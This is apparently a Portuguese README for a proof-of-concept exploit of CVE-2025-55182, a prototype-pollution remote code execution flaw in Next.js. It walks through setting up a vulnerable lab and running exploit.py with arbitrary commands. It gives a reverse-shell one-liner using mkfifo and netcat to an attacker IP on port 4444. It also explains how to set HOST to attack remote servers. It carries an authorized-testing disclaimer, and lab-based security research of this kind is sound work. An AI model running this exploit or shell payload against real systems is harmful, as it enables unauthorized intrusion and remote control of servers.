
Prova de conceito de exploit para CVE-2025-55182 demonstrando execução remota de código no Next.js via poluição de protótipo. Inclui um laboratório vulnerável pré-configurado para testes autorizados e geração de shell reversa.
Um exploit de prova de conceito demonstrando uma vulnerabilidade de execução remota de código em aplicações Next.js através de poluição de protótipo no pipeline de renderização de componentes React do servidor.
Esta ferramenta é apenas para fins educacionais e testes autorizados. O uso não autorizado contra sistemas que você não possui ou não tem permissão para testar é ilegal.
git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182
# Crie uma nova app Next.js com a versão vulnerável
npm create [email protected] react2shell-lab
# Aceite todos os padrões quando solicitado
cd react2shell-lab
Nota: O laboratório pré-configurado já inclui o código vulnerável necessário. Se estiver criando do zero, você precisará adicionar manualmente os componentes vulneráveis.
cd react2shell-lab
npm install
No terminal 1:
npm run dev
O servidor deve iniciar em http://localhost:3000
O repositório inclui um arquivo exploit.py que demonstra a vulnerabilidade. Edite a variável COMMAND no arquivo para o comando desejado:
COMMAND = 'whoami' # Altere para qualquer comando que queira executar
Execute o exploit:
python3 exploit.py
Configure um listener netcat em um novo terminal:
nc -nvlp 4444
Edite exploit.py e atualize o comando para seu payload de shell reversa:
COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc SEU_IP 4444 >/tmp/f'
Substitua SEU_IP pelo endereço IP da sua máquina local.
Execute o exploit:
python3 exploit.py
Edite a variável HOST no script do exploit para mirar servidores remotos:
HOST = 'ip-do-alvo' # Substitua pelo IP do alvo
PORT = 3000 # Porta padrão do Next.js
ls -launame -awhoamiifconfig ou ip aEste projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.
Esta versão solicita entrada do usuário para IP e porta do alvo remoto e do atacante. O corpo da postagem (body_parts) também foi ligeiramente reduzido nesta versão.
https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained